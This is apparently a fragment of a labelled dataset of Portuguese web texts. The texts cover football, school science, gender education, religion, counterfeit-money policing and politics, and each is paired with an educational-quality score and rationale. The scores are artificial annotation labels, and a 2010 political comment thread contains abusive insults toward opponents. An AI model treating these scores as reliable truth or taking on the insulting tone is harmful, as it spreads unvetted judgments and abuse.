Grêmio conseguiu o empate +Na noite deste sábado (6), o Bahia empatou em 2 a 2 com o Grêmio, na Arena do Grêmio, em jogo válido pela 28ª rodada do Campeonato Brasileiro. O Tricolor baiano chegou a abrir 2 a 0 no placar, mas após decisões controversas da arbitragem, que expulsou o zagueiro Jackson e concedeu um pênalti polêmico ao Grêmio, a equipe acabou cedendo o empate. +Com o resultado, o Bahia chega à 14ª posição, com 31 pontos. A equipe volta a campo no próximo sábado (13), às 21h, quando enfrenta o Paraná, no estádio de Pituaçu, pela 29ª rodada do Campeonato Brasileiro. +Logo aos dois minutos de jogo, o Bahia abriu o placar. Léo cobrou lateral na área com força, Nilton subiu para desviar e Élber, livre no segundo pau, completou para o gol. +Aos 23, o Grêmio chegou a balançar as redes: Luan cobrou falta na área, Geromel desviou e Cícero, impedido, desviou para o gol. Após indecisão, o auxiliar assinalou o impedimento, para protesto do time gremista, que dizia que a bola havia desviado em um jogador do Bahia, e não em Geromel. +Aos 29, chance para o Bahia: após boa troca de passes, a bola chegou em Nilton, que arriscou de fora, para boa defesa de Marcelo Grohe no canto. +Aos 38, novamente o Tricolor baiano: Ramires fez boa jogada pela esquerda e cruzou. Gregore apareceu na área e quase consegue o desvio para o gol. +Aos 10, o zagueiro Jackson chegou de carrinho em cima de Juninho Capixaba, recebeu o segundo amarelo e foi expulso. Porém, para muitos, o defensor nem fez falta no lance, chegando na bola antes de atingir o jogador. +No lance seguinte, aos 40, mais uma polêmica da arbitragem favorável ao Grêmio: Marinho fez boa jogada, invadiu a área e caiu após dividir com Léo e Gregore. O juiz marcou pênalti de Gregore sobre o atacante gremista, o que causou muitas reclamações do time baiano. +Aos 42, Jael cobrou a penalidade sem chances para Douglas e empatou a partida.",original,original,original,original,0,0.0 +"Você já parou para pensar como os animais e as plantas estão interligados? Às vezes, parece que vivem em mundos separados, mas a verdade é que dependem uns dos outros para sobreviver e prosperar. Essa relação é fundamental para o equilíbrio do nosso planeta! + +**Uma Troca Essencial: Alimento e Polinização** + +As plantas são como as fábricas de alimento da natureza. Através da fotossíntese, elas usam a luz do sol, a água e o gás carbônico para produzir o alimento que precisam e, de quebra, liberam oxigênio, o ar que respiramos! Muitos animais se alimentam diretamente dessas plantas, como as vacas que comem capim, os macacos que adoram frutas e as lagartas que devoram folhas. Esses animais herbívoros são uma peça importante da cadeia alimentar. + +Mas a relação não para por aí! As plantas também precisam dos animais para se reproduzir. Já ouviu falar da polinização? Muitas plantas precisam que o pólen, uma espécie de 'sementinha masculina', seja levado de uma flor para outra para que possam produzir frutos e sementes. E quem faz esse trabalho? Abelhas, borboletas, beija-flores e até alguns morcegos! Eles visitam as flores em busca de néctar, um líquido doce e nutritivo, e acabam carregando o pólen em seus corpos, espalhando-o por aí. É como se fossem os carteiros das plantas! + +**Refúgio e Proteção** + +Além de alimento e polinização, as plantas também oferecem abrigo e proteção para muitos animais. Pense nas árvores da floresta: elas servem de casa para macacos, esquilos, aves e uma infinidade de insetos. As raízes das árvores ajudam a fixar o solo, evitando a erosão e protegendo os rios e lagos, que também são habitats importantes para muitos animais aquáticos. + +**A Importância de Preservar** + +Entender essa conexão entre animais e plantas é fundamental para a nossa sobrevivência. Se destruímos as florestas, por exemplo, não estamos apenas acabando com o lar de muitos animais, mas também prejudicando a produção de alimentos e oxigênio, além de afetar o clima do planeta. Por isso, é tão importante cuidar do meio ambiente e proteger tanto os animais quanto as plantas. + +**Para Refletir:** + +* Que outros exemplos de relações entre animais e plantas você consegue identificar no seu dia a dia? +* O que podemos fazer para ajudar a proteger essa conexão vital entre animais e plantas? + +A natureza é uma teia complexa e fascinante, onde cada ser vivo tem um papel importante a desempenhar. Ao entendermos essa teia, podemos tomar atitudes mais conscientes e responsáveis, garantindo um futuro mais saudável para o nosso planeta e para as próximas gerações.",Ciências,Animais e plantas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, abordando a interdependência entre animais e plantas de forma clara e envolvente. A linguagem é acessível, tornando o conteúdo adequado para diferentes faixas etárias do ensino fundamental. Explora conceitos como fotossíntese, polinização e a importância da preservação ambiental, incentivando a reflexão e o pensamento crítico. Apresenta exemplos concretos e perguntas que estimulam o aprendizado ativo. Considero que atende a todos os critérios.",5,1.0 +"Abril de 2017 ( Quarta-feira ) - Dia do Goleiro +Abril de 2018 ( Quinta-feira ) - Dia do Goleiro +Abril de 2019 ( Sexta-feira ) - Dia do Goleiro +Abril de 2020 ( Domingo ) - Dia do Goleiro +Abril de 2021 ( Segunda-feira ) - Dia do Goleiro +Com coragem e determinação, um goleiro precisa estar ciente de suas responsabilidades e regras, para que não realize erro algum que pode atrapalhar toda a sua carreira! +Um goleiro precisa estar uniformizado de forma correta, com: +· Luvas: indispensáveis, pois protegem machucados e qualquer desconforto. Além disso, as luvas podem fornecer maior aderência para praticar melhores defesas. +· Chuteiras: um bom par para melhor tração com o solo. Na área do goleiro não cresce grama, justamente por causa das chuteiras. +· Joelheiras e cotoveleiras: depende o goleiro, são itens opcionais. +O goleiro tem permissão de permanecer na partida munido de um boné, principalmente durante partidas que estão sob sol forte. +Algumas dicas importantes para goleiros são voltadas para um excelente reflexo, tempo de reação aos movimentos do jogo, possuir braços fortes para defender o gol e também para arremessar a bola. Um bom goleiro não pode esquecer da comunicação com seus companheiros de time! +Foi em 1975 que a iniciativa de criar o Dia do Goleiro surgiu. A ideia foi iniciada por dois professores, Reginaldo Pontes Bielinski e Raul Carlesso, capitão e tenente, respectivamente, da Escola de Educação Física do Exército, localizada no Rio de Janeiro. A celebração de 26 de abril como Dia do Goleiro foi motivada para homenagear um dos mais consagrados goleiros da história do futebol brasileiro: Aílton Corrêa Arruda, mas extremamente conhecido como “Manga”. +Previamente, o Dia do Goleiro iria ser comemorado em 14 de abril, no entanto, foi alterado para 26 de abril para homenagear Manga. +O goleiro Manga nasceu em 26 de abril de 1937, trabalhando e defendendo diversos times brasileiros: Grêmio, Internacional, Sport, Botafogo e Coritiba, entre outros clubes. E claro, também defendeu a Seleção Brasileira – tanto em Copas do Mundo como amistosos internacionais. +Para curiosidade, Raul Carlesso foi preparador físico da Seleção Brasileira na época da Copa do Mundo de 1974 e também realizou a preparação de diversos goleiros do país.",original,original,original,original,3,0.6 +"Se você é um ou uma corredora e resolveu que vai correr uma maratona (42,195km) e nunca correu mais do que 100m, vai precisar de uns 10 meses de treino. Para uma maratona, o futuro começa hoje e leva esse tempo para acontecer. Correr uma maratona depende de disciplina e perseverança. Praticamente não depende de mais ninguém. Agora, o que dizer de situações onde o comportamento coletivo influi e muito? Por exemplo,a forma como as mulheres são percebidas na nossa sociedade. Mudar essa percepção preconceituosa é como uma maratona. Exige disciplina e perseverança. E esse futuro, de um mundo mais equânime, também começa hoje. Aliás, já começou faz algum tempo e poucos de nós nos damos conta do papel fundamental que é o de educar nossos filhos de uma forma diferente daquela com que fomos educados. Se não fizermos nada, nossos filhos serão como muitos de nós, com uma visão preconceituosa ou discriminadora da mulher. +Apesar dos enormes avanços que as mulheres conquistaram nos últimos anos, com relação à igualdade entre os gêneros, ainda estamos longe de uma sociedade que trate mulheres e homens de forma igual. As mulheres, na sua maioria, se veem envolvidas em duplas jornadas de trabalho. Trabalham durante o dia e ainda são as responsáveis por deixar a casa arrumada com comida na mesa. As mulheres ainda não recebem o mesmo que os homens, mesmo trabalhando em empregos equivalentes. A mulher ainda é desrespeitada por muitos homens em função das escolhas que faz no vestir, se arrumar e comportamento sexual. A mulher é vitima de violência física como espancamento doméstico e etupros. Para se impor profissionalmente, muitas vezes deve abrir mão de sua feminilidade, se equiparando a um homem. Não gostaria de listar tudo que acontece com as mulheres hoje, mas perguntar se é isso que queremos para nossas filhas e filhos? Se não é, precisamos mudar radicalmente a forma com que educamos nossas crianças. Precisamos olhar para pequenos detalhes, do dia a dia, que reforçam o machismo da sociedade. +Os exemplos começam dentro de casa. Se na casa, os homens ajudam as mulheres, a mensagem é de que a tarefa pertence à mulher e a ajuda é um favor ou concessão. Ajudar é bem diferente de dividir tarefas. Se todos que moram na casa, independentemente do gênero, têm suas tarefas bem definidas, avançamos um passo! +Se o quarto do menino pode ser uma bagunça porque meninos são assim mesmo e, para complicar um pouco, mamãe arruma o quarto, este menino aprenderá duas coisas: não preciso arrumar nada e cabe a uma mulher arrumar. Se houver uma irmã e o quarto dela for arrumado pela própria, porque meninas são mais arrumadas ou gostam de arrumar, mais um reforço para que os meninos aprendam que cabe às mulheres arrumar. +Se meninos são incentivados a perceber as meninas como um objeto a ser conquistado e quanto mais melhor, estamos ensinando uma forma de desrespeito com outro ser humano. Tanto mais se, na mesma casa, houver uma menina e esta for ensinada o oposto! +Essa visão preconceituosa também cobra um preço aos meninos. Menino é durão, não chora. Menino brinca de coisa de menino e a família é capaz de ficar muito aflita se o filho brincar de boneca ou aparecer calçando os sapatos de salto alto da mãe. Na infância seria perfeitamente aceitável essa brincadeira, mas o preconceito nos impede de permitir aos meninos esse momento lúdico. Menino aprende algo muito doloroso: não exiba a sua emoção (engole o choro, menino)! +Se o mundo futuro que queremos para os nossos filhos é diferente deste, cabe a nós mudar nossos comportamentos, hoje. Mais importante do que o que dizemos aos nossos filhos, são as nossas ações. Não é fácil mudar nosso comportamento. Não é fácil perceber nossos próprios preconceitos. Mas, se estamos genuinamente interessados em filhos que crescam de forma saudável, vamos ter que encarar esse desafio. Saudável não é só estar sem doença, forte. Saudável é integrado, feliz, com capacidade plena de estabelecer relacionamentos e respeitar a diversidade. S...",original,original,original,original,4,0.8 +"Já parou para pensar por que o gelo derrete e a água evapora? A resposta está nos estados físicos da matéria! Tudo ao nosso redor, desde o ar que respiramos até a cadeira onde você está sentado, é feito de matéria, e essa matéria pode se apresentar em três estados principais: sólido, líquido e gasoso. Vamos explorar cada um deles de forma divertida e descomplicada! + +**Sólido:** Imagine um cubo de gelo. Ele é firme, tem uma forma definida e um volume que não muda facilmente. Isso acontece porque as partículas que formam o gelo (moléculas de água) estão muito próximas umas das outras e se movem pouco, apenas vibrando em seus lugares. Outros exemplos de sólidos são madeira, metal, plástico e o seu livro de Ciências! + +**Líquido:** Agora, pense na água que sai da torneira. Ela não tem uma forma fixa, se adapta ao recipiente em que é colocada. Mas ela ainda tem um volume definido – um litro de água continua sendo um litro, mesmo que esteja em uma garrafa, um copo ou uma piscina. As partículas nos líquidos estão mais afastadas do que nos sólidos e podem se mover com mais liberdade, deslizando umas sobre as outras. Além da água, o óleo, o suco e o leite são exemplos de líquidos. + +**Gasoso:** E o ar que enche um balão? Ele é invisível e se espalha por todo o espaço disponível. Os gases não têm forma nem volume definidos. Suas partículas estão muito afastadas umas das outras e se movem rapidamente em todas as direções. O vapor de água, o gás de cozinha e o oxigênio que respiramos são exemplos de gases. + +**Mudanças de Estado:** A matéria não precisa ficar sempre no mesmo estado! Com a temperatura certa, um sólido pode se transformar em líquido (fusão), como o gelo derretendo. Um líquido pode virar gás (vaporização), como a água fervendo e virando vapor. E o contrário também acontece: o gás pode virar líquido (condensação), como o vapor de água se transformando em gotículas na tampa de uma panela, e o líquido pode virar sólido (solidificação), como a água congelando para formar gelo. + +**Exemplos do dia a dia:** Pense em uma barra de chocolate: sólida à temperatura ambiente, mas que derrete (vira líquida) se deixada no sol. Ou na água que você usa para fazer um chá: líquida na torneira, mas que se transforma em vapor (gasosa) quando fervida. + +**Para Refletir:** +* O que aconteceria se não existissem os diferentes estados da matéria? +* Quais outras mudanças de estado você observa no seu dia a dia? +* Como o conhecimento sobre os estados da matéria nos ajuda a entender o mundo ao nosso redor? + +Compreender os estados físicos da matéria é fundamental para entendermos como o mundo funciona! Ao observarmos o nosso cotidiano, percebemos a importância desses conceitos e como eles estão presentes em tudo o que fazemos. Continue explorando e descobrindo os segredos da ciência!",Ciências,Estados físicos da matéria,anos finais (6º ao 9º ano),"O trecho apresenta informações básicas e relevantes sobre os estados físicos da matéria, adequadas para o ensino fundamental. A linguagem é acessível, com exemplos práticos e perguntas reflexivas que estimulam o aprendizado. A estrutura é clara e organizada, facilitando a compreensão dos conceitos. O texto aborda o currículo escolar de forma consistente, sendo altamente relevante e proveitoso para fins educacionais.",5,1.0 +"A situação econômica na Gréciae a mobilização dos trabalhadores +Artigo de Fred Weston, dirigente da Corrente Marxista Internacional faz análise da situação política que está levando os trabalhadores às ruas em protesto contra as medidas econômicas na Grécia. +No oitavo aniversário do fracassado golpe de 2002, povo venezuelano vai às ruas mostrar que está disposto a lutar. +Alan Woods, em Caracas, descreve o estado de espírito das massas em 13 de Abril durante as comemorações do 8° aniversário do fracassado golpe da direita. Desta vez, assim como as tradicionais camisetas vermelhas, houve uma exposição maciça da milícia do povo, vestido de “verde camuflagem”, e carregando os AK-47, de fabricação russa, dando um aviso claro para a oligarquia reacionária que as massas estão preparadas para lutar contra qualquer tentativa de fazer “o relógio andar para trás”. +Caracas, 13 abril de 2010 +Chicago (EUA), Primeiro de Maio de 1886. Após uma massiva greve geral que contou com o apoio de centenas de milhares de homens e mulheres pelo estabelecimento da jornada diária de oito horas trabalho, a polícia reprime brutalmente os trabalhadores. Um número até hoje desconhecido de pessoas são mortas com os disparos. Albert Parsons, Georg Engel, Adolph Fischer, Louis Lingg e August Spies, líderes do movimento, são condenados à morte ao mesmo tempo em que inúmeros outros ativistas são presos. +A mesma luta, que levou à morte os mártires de Chicago naquela época, ocorria em vários outros países. +No Século 19, o mundo passava por profundas transformações. As Revoluções Industriais, ao mesmo tempo que elevaram enormemente a capacidade de produção do homem, traziam em contrapartida uma brutal exploração e miséria dos trabalhadores. +Nos centros urbanos, um número cada vez maior de famílias vivia sem as mínimas condições de dignidade. Nas fábricas, os operários eram obrigados a trabalhar em turnos de 12, 14, 15 horas diárias em troca de salários baixíssimos e sem qualquer legislação trabalhista. Não bastasse a ausência de direitos, as tentativas de organização através de sindicatos, greves, etc. sofriam com a hostilidade permanente do Estado e de seus organismos de repressão. +Continua no site da Esquerda Marxsita +É nosso dia companheiro +Nosso é o trabalho de nossas mãos +Nossas máquinas que movemos +Nossos os frutos da produção +Já vou me esperam os companheiros +Irmãos de classe para lutar +Parando as máquinas falaremos +E a nossa voz se ouvirá +Avante vamos classe operária +Avante todos os oprimidos +Parando as máquinas e no silêncio +Do operário se ouça o grito +Os benefícios da Sopa! +Ujes nas Escolas +A União Joinvilense dos Estudantes Secundaristas - Ujes - realizou visistas nas escolas da cidade para auxiliar os estudantes na construção de Grêmios Estudantis Livres. Abaixo estão algumas fotos da atividade:",original,original,original,original,3,0.6 +"“Daqui a 100 anos não importará o tipo de carro dirigi ,o tipo de casa que morei, quanto tinha depositado no banco”, +nem que roupa vesti. Mas o mundo pode ser um pouco melhor porque fui importante na vida de uma criança” +Entendemos que as bases para um ministério com crianças segundo o coração de Deus devem estar em: Evangelismo e Pastoreio. Ou seja, alcançar vidas para Jesus desde a infância, não deixando satanás chegar primeiro. Resgatá-las da morte eterna, e apascentar os cordeiros de Jesus que fazem parte do seu corpo, a Igreja de Cristo. É o rebanho de Deus que precisa ser: amado, reconhecido, alimentado e guiado. +Para pastorear uma criança,é necessário primeiramente ganhá-la para Cristo,assim como está escrito em Marcos 16.15 “Ide por todo mundo e pregai o evangelho a todos“. +Devemos estar atentos quanto á salvação das crianças, pois não é vontade do nosso Pai que estás no Céu que nenhum deste pequenino se perca (Mateus 18.14), após fazer com que a criança caminha em direção á Cristo, precisamos dá a ela o leite genuíno, que é a palavra de Deus e Apascenta-la. +As crianças precisam de alguém que seja muito mais que um transmissor de conteúdos bíblicos todos os domingos. Muito mais que professores. Precisam de pessoas que tenham um coração pastoral. Deus está convocando professores chamados e ungidos por Ele capacitados e treinados pela Igreja para ministrar na vida das crianças. +Lidar com crianças é um privilégio muito grande,pois as crianças são humildes e sinceras e é por isso que Cristo manda que sejamos como as crianças para herdar o reino de Deus (Mateus 18.2,3 e4), sendo assim são fáceis de conduzi-las á Cristo. +Pastoreio significa guardar, guiar. Logo, um pastor deve guiar seu rebanho para lugares seguros,dar-lhe alimento,abrigo e proteção dos males que podem lhe causar. +Muitos professores estão confundindo pastorear em dá aulas.Pensam que pelo fato de estarem com as crianças na classe e nos cultos está bom... +O fato real é que muitos não sabem ao menos o que é pastorar uma criança ou como fazê-lo. +Você já se perguntou porque somos comparados ás ovelhas?As ovelhas são animais dóceis e frágeis que necessitam de cuidados especiais.São animais eu podem se perder facilmente, e assim se ferirem ( Is 53.7/Jr 11.19/Mq 5.8/ Mt 10.16/ Nm 27.17/Mt 9.36 +Leiamos alguns versículos do Salmo 23 e assim poderemos entender o que é ser um bom pastor, pois Jesus é nosso Bom Pastor, e a bíblia diz que devemos buscar ser imitadores de Cristo. +Você tem buscado ser um Bom Pastor como Cristo é nosso Pastor?Preste muita atenção: +Nada me faltará: Isso é preocupação; o bom pastor quer o melhora para sua ovelha. +Deitar me faz em verdes pastos: Isso é segurança;o bom pastor quer ver sua ovelha segura,longe do perigo. +Guia-me mansamente a águas tranqüilas: Isso é cuidado; o bom pastor preocupa-se em dar boa alimentação ás suas ovelhas, dá boa água, ou seja sacia a sede da ovelha. +Refrigera minha alma: O bom pastor tenta aliviar a angústia e a tristeza da alma, através de oração e apascento. +Guia-me pelas veredas da justiça: O bom pastor tem cuidado de guiar suas ovelhas em bons caminhos, no caminho certo. +Por amor de seu nome: O bom pastor faz tudo por amor a Deus, nunca espera algo em troca. +Ainda que eu andasse pelo vale da sombra da morte: O verdadeiro pastor está em todos os momentos com suas ovelhas: nos momentos de alegria e dor +Eu não temeria mal algum... Porque tu estás comigo:Isso é certeza que pode contar sempre com o bom pastor +A tua vara e o teu cajado me consolam: A correção também faz parte do pastoreio, mas correção com amor e sabedoria. +Unge a minha cabeça com óleo: Isso é consagração; o bom pastor nunca deixa de consagrar sua ovelha a Deus. +E o meu cálice transborda: Isto é abundância, quando o pastor ora por suas ovelhas, ela tornam-se abençoadas, e a abundância reina em sua vida. +Certamente que a bondade e a misericórdia me seguirão todos os dias da minha vida: O bom pastor ministra bênçãos na vida da ovelha, e as bênçãos as ...",original,original,original,original,2,0.4 +"trabalhamos com todos os tipos de eventos, salgados bolos e doces, serviços de copeiras e garçons. +Produzimos brindes e produtos promocionais, personalizados em pequenas e grandes quantidades. +(11)9826-7473Brindes MXD - Brindes, presentes e lembrançashttp://www.brindesmxd.com.br +Aluguel de Brinquedos Infláveis, Barracas de Alimentação, Mesas, Tendas e muito mais! +Som, luz, djs, telão, foto e filmagem para festas e eventos em geral, solicite seu orçamento +Buffet em domicílio, salgados, doces, churrasco, feijoada, festa junina e muito mais! +A 70 km de São Paulo, recebe eventos de pequeno, médio e grande porte: mariasitiosanta.blogspot.com +(11)9414-044Sítio Santa Maria: espaço para eventos em Jarinúhttp://mariasitiosanta.blogspot.com/ +Faça de um dia único, um dia inesquecível !!! Aqui, onde o seu sonho se realiza ! Casamento no campo ...",original,original,original,original,0,0.0 +"Piauí promove a aproximação entre o conhecimento científico e a prática da saúde « Notícias BVS Modelo +Home / Piauí promove a aproximação entre o conhecimento científico e a prática da saúde +Para discutir temas relacionados à lacuna entre o conhecimento e a prática, se realizou o III Congresso Internacional de Aten��ão Primária à Saúde em Teresina, Piauí, entre os dias 4 e 6 de maio, reunindo mais de 700 participantes entre estudantes, gestores e trabalhadores do Sistema Único de Saúde da região. +A BIREME foi representada por seu diretor, Diego Gonzalez, que proferiu uma palestra sobre a gestão da informação no contexto da Agenda 2030, onde enfatizou o grande desafio do século XXI de erradicar a pobreza e trabalhar os 17 Objetivos de Desenvolvimento Sustentável. Manifestou como a informação, a evidência e o conhecimento são eixos transversais em todo este trabalho e o compromisso da OPAS/OMS com América Latina e o Caribe. +Por sua vez, Verônica Abdala, também colaboradora da BIREME, ministrou a Oficina EVIPNet Brasil, em parceria com Dr. Jorge Barreto, pesquisador da FIOCRUZ. Cerca de 40 profissionais participaram da Oficina baseada na Metodologia SUPPORT para formulação de políticas informadas por evidências. A mortalidade materna no Piauí, que tem um dos índices mais altos do Brasil, foi o problema trabalhado nos exemplos e exercícios da Oficina. Tanto a metodologia como a dinâmica aplicada na Oficina, despertaram grande interesse e promoveu uma boa discussão entre todos, alunos e trabalhadores da saúde. +Destaque importante no evento teve os 50 Anos da BIREME, sendo mencionado na cerimônia de abertura e apresentado nos telões durante os intervalos das apresentações.",original,original,original,original,3,0.6 +"A Casa da Mãe Joana: Buáaaaaaa ... +""O Mascate"" domingo, 31 outubro, 2010 +Jú ele chora por causa da possibilidade de que ele terá que trabalhar para viver. Se o Serra ganhar vai acabar a mamata do bando de vagabundos vermelhos que estão sugando o Brasil, entre eles o Vagabundo Mór, Sebento da Selva, O Suarento. +Jurema Cappelletti domingo, 31 outubro, 2010 +Ah, Fernando! Se o Serra ganhar... muita gente vai ter que trabalhar. Até a hora em que o trabalho deixará de ser visto como sofrimento. +Já dei adeus ao LI. +VOCE CONTINUA SUA MARCHA CONTRA DILMA E LUIS INACIO. +ENTENDO ISSO COMO UMA 'DOENÇA POR DENTRO'. ALGUEM INCOMPETENTE QUE POR NÃO SABER LIDAR COM SUAS PROPRIAS FRUSTRAÇÕES TENTA DESCARREGÁ-LAS EM ALGUEM. CASO PATOLOGICO E PSIQUIATRICO. +FALAR MAL DA DILMA É SER UMA PESSOA ATRASADA NO TEMPO AGORA E VC AINDA INSISTE NISSO. +É LAMENTÁVEL. MAS ASSIM COMO HÁ ANONIMOS NA WEB HÁ TAMBEM PESSOAS DOENTES E DOENTIAS QUE USAM O ESPAÇO SÓ PARA MOSTRAR O QUE TEM POR DENTRO, OU SEJA NADA. ABSOLUTAMENTE BADA, +VOCE DÁ PENA! +Sr./sra Anônimo, +Dê-se por muito satisfeito por poder se expressar aqui, nesse espaço REALMENTE DEMOCRÁTICO, sem ser censurado. +O mesmo, porém, NÃO acontece num site que se considera o Maior portal da esquerda, etc, etc: esta semana postei por lá três comentários sobre três artigos e NENHUM foi publicado, embora fossem educados, mas contrários à linha ideológica daquele - agora sei! - gueto. Pois bem, desconfiada de censura, voltei a comentar um deles, dessa vez através de um elogio ridículo e irônico.Inventei nome e e-mail. Caramba! Foi publicado!!! Elogio? Lá aceitam qq um, porque a necessidade de baba-ovismo ali é tanta que não percebem a ironia e o deboche de um... Tô de alma lavada no que se refere a esses esquerdopatas, mostraram bem quem são! Esses, sim, os doentes contagiosos que tentam minar a saúde de incautos que navegam por aquelas águas estagnadas no tempo, disseminando doenças exóticas, já até erradicadas em seus domínios originais. Ô raça cinza, triste, bolorenta e sem humor! Vai ver por isso usam vermelho, para dar cor a suas tristes vidas... +Machado domingo, 31 outubro, 2010 +Eram duas merdas disputando o poder.Agora é tapar as narinas pra aguentar 4 anos de fedentina. +Anônimo mostra seu péssimo caráter como habitualmente. +Anônimo deve participar das boquinhas já conhecidas pela Polícia Federal.MENSALÃO-INVASÃO DE PRIVACIDADE--NEGOCIATAS,etc...OU SERÀ QUE ESSAS SÃO MENTIRAS DOS MEIOS DE COMUNICAÇÃO??? +Jurema Cappelletti segunda-feira, 01 novembro, 2010 +Fernando, Dora e TOM, +Se não tivemos como mostrar a esse povo que elegeu uma desconhecida para o mais alto cargo do país, TEMOS QUATRO ANOS PARA DIVULGAR A VERDADEIRA FACE DE LI. +O Brasil não tem partidos ideològicamente definidos,mas grupos de interessses variados tendo em comum, apenas a vontade de enriquecimento rápido.Nunca voto em partido,mas no candidato.Votei em:Marina--Sérgio Cabral--Pedro Paulo e Delfin Aguiar.Sob protesto votei em Picciani e Lindberg.porque os outros candidatos à senador eram piores.PV ,DEM PT um decada partido e 2 do PMDB.Agora votei Serra do PSDB.O jeito agora é torcer pra DILMA dar certo.pois o Brasil deve ser justo e bom para a vida de nossos descendentes.Náo me iludo com partidos políticas.Voto no que considero melhor e em último caso no menos pior.",original,original,original,original,1,0.2 +"A Delegacia de Polícia Federal em Jales (SP) deflagrou na manhã desta sexta-feira (17) a Operação “Luz Negra,” que tem como objetivo reprimir grupo criminoso responsável por distribuir cédulas falsas de reais em todo o país. Dois homens foram presos preventivamente pela Polícia Federal nas cidades de Vila Velha (ES) e Brasília (DF). Os federais também cumprem mandados de busca e apreensão expedidos pela Justiça Federal de Jales. +As investigações iniciaram no começo deste ano, a partir de uma apreensão de cédulas falsas realizada pela PF em Jales no dia 8 de janeiro. A apreensão foi realizada no momento em que um dos compradores das falsificações retirava uma encomenda em uma agência postal no centro da cidade. Na ocasião, a PF apreendeu mil reais em cédulas falsas, que foram adquiridas por um empresário local, após negociar a compra através de contatos mantidos com o falsário via aplicativo de mensagem. +No decorrer das investigações, a PF identificou dois homens suspeitos de serem distribuidores das cédulas falsas em todo o país. Eles ofereciam o produto ilícito na internet e por meio de aplicativos de mensagens. As falsificações eram oferecidas na proporção de uma cédula verdadeira em troca de até doze cédulas falsas. Após representação da PF à Justiça Federal de Jales, dois mandados de prisão preventiva e dois mandados de busca e apreensão foram expedidos e estão sendo cumpridos nos endereços dos suspeitos nas cidades de Vila Velha e Brasília. +Na operação de hoje, a PF apreendeu em Vila Velha telefones celulares, computadores, anotações, materiais que indicam a produção de cédulas falsas, várias encomendas contendo notas falsas prontas para envio, além de um total de R$ 71.460,00 reais em moeda falsa, sendo 684 cédulas em denominação de 100 reais e 156 cédulas em denominações de 20 reais. Em Brasília, a PF prendeu o suspeito e apreendeu uma cédula falsa, além de outros objetos e documentos. +O crime de moeda falsa é de competência federal e está tipificado no artigo 289 do Código Penal Brasileiro, que define o crime como sendo atribuído àquele que falsifica, fabrica ou altera a moeda metálica ou papel-moeda nacional ou estrangeiro. Nas mesmas penas incide quem importa ou exporta, adquire, vende, troca, cede, empresta, guarda ou introduz na circulação moeda falsa. +Quem recebe a moeda falsa de boa-fé, (acreditando na autenticidade da mesma) não comete o crime e deverá entregá-las em uma agência bancária para encaminhamento ao Banco Central do Brasil para análise ou em uma delegacia de polícia para registro de uma ocorrência policial. Quem repassar uma cédula falsa recebida, mesmo depois de tomar conhecimento sobre a falsidade, também comete o crime e estará sujeito a uma pena de até 2 anos de detenção. +Os presos serão indiciados pelo crime de falsificação de moeda e caso sejam condenados estarão sujeitos à pena de até 13 anos de reclusão. Eles serão encaminhados para presídios da região em que foram detidos e permanecerão à disposição da Justiça Federal. O material apreendido será encaminhado para a sede da PF em Jales/SP para análise e perícia dos federais. +O nome da operação “Luz Negra” foi utilizado em razão do apelido de um dos suspeitos (SCORPION, termo em inglês que significa escorpião). A luz negra é utilizada na caça ao escorpião e também é um tipo de luz utilizada em equipamentos que detectam cédulas falsas.",original,original,original,original,3,0.6 +"Banco de Atividades: Apostila sobre frações 2 +Da escrita mista para a de frações e vice-versa Vamos pensar na seguinte pergunta: Qual é a fração que corresponde a três inteiros e dois quintos ? +Para responder, vamos recorrer a desenhos: Acontece que cada uma das barras que representam o inteiro pode ser subdividida em 5 partes: Agora vamos pensar no problema contrário: Qual é a escrita mista correspondente a Para achar a resposta, vamos desenhar o inteiro (dividido em 4 partes) tantas vezes quantas forem necessárias para perfazer 13 quartos: A mesma parte com escritas diferentes Fazendo desenhos para representar frações, percebemos que podemos indicar uma mesma parte da unidade de maneiras diferentes. Vejamos alguns exemplos: EXEMPLO 1 : Começamos com um retângulo dividido em 3 partes e sombreamos 1 dessas partes: Em seguida duplicamos o número de partes em que a unidade foi dividida e duplicamos também o número de partes sombreadas. O que fizemos foi multiplicar por 2 o numerador e o denominador da fração 1/3: +Observando a figura, vemos que essas duas frações representam a mesma parte da unidade. EXEMPLO 2 : Neste exemplo, triplicamos o número de partes em que o retângulo foi dividido e triplicamos o número de partes sombreadas. Observando as figuras, vemos que dois quintos e seis quinze avos representam a mesma parte da unidade. EXEMPLO 3 : Dividimos um círculo em 2 partes iguais e sombreamos 1 parte. Temos a metade do círculo: Agora, dividimos o mesmo círculo em 8 partes iguais e sombreamos 4 partes: Multiplicamos o numerador e o denominador por 4: e continuamos a ter a mesma parte do círculo. Os exemplos que acabamos de apresentar mostram que, multiplicando o numerador e o denominador de uma fração por um mesmo número (qualquer que seja esse número), não alteramos a parte da unidade que estamos considerando. Equivalentes ou iguais? Frações como: são chamadas de frações equivalentes. ""Equi"" indica igualdade. ""Valente"" significa ""que tem valor"". Entretanto, em alguns livros, após a afirmação de que, por exemplo, dois terços e quatro sextos +são equivalentes, encontra-se a representação de igualdade: Esta situação pode provocar controvérsia: será que um terço é o m esmo que dois sextos? +Afinal um terço é um pedaço só e dois sextos são dois. +E quanto a nós professores? Devemos dizer ""frações equivalentes"" e escrever que são ""iguais""? Em nossa opinião, podemos dizer e escrever ""igual"", pois as duas frações representam partes do mesmo tamanho. Enviar por e-mailBlogThis!Compartilhar no TwitterCompartilhar no FacebookCompartilhar com o Pinterest +Vanessa27 de agosto de 2010 16:17Parabéns pelo seu blog...as atividades são ótimass...ResponderExcluirAdicionar comentárioCarregar mais...",original,original,original,original,4,0.8 +"Mente Aberta - Reinaldo Del Trejo: Raul Maluco Seixas +HAHAHA PARE O MUNDO QUE EU QUERO DESCER! +Toca Raul! ehehehehe... Foi um artista completo, crítico, enfim, um exemplo que deveria ser seguido pelos novos músicos... +Realmente Aline se os músicos de hoje tivessem como inspiração lendas como Raul a música não estaria onde hoje se encontra.http://virersemlimites.blogspot.com.br/http://blogstyledrops.blogspot.com.br/ +18 de julho de 2012 20:23 +raul, genio. rock brasileiro em essencia... +19 de julho de 2012 10:41 +O homem, o mito.Abraços,Gabrielhttp://desejosdesabado.blogspot.com.br/ +MUITO BOM! TOOOOCA RAUL. +Acho que vc conseguiu 'ver' o Raul, além de cantor e sim, como ser humano. Gosto das músicas dele, mas confesso que sabia muito pouco sobre sua vida. E depois desse post, sabendo mais sobre sua incrível e difícil luta contra a ditadura, há de se admirar incondicionalmente, esse grande homem. Bela homenagem, Del Trejo. +21 de julho de 2012 23:12",original,original,original,original,1,0.2 +"OLHA O 